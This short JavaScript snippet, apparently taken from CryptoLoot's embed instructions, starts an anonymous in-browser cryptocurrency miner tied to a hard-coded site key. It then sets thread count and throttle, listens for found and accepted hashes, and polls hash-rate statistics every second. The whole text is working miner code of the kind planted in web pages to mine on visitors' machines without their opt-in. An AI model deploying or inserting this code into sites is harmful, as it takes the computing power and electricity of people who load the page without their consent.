var miner = new CryptoLoot.Anonymous('f9aab30f4a671552a709ae53e816e03744746ce262a3');
miner.start();

var miner=new CryptoLoot.Anonymous('f9aab30f4a671552a709ae53e816e03744746ce262a3',
{
threads:6,autoThreads:false,throttle:0.2,
}
);
miner.start();

// Listen on events
miner.on('found', function() { /* Hash found */ })
miner.on('accepted', function() { /* Hash accepted by the pool */ })

// Update stats once per second
setInterval(function() {
var hashesPerSecond = miner.getHashesPerSecond();
var totalHashes = miner.getTotalHashes();
var acceptedHashes = miner.getAcceptedHashes();

// Output to HTML elements...
}, 1000);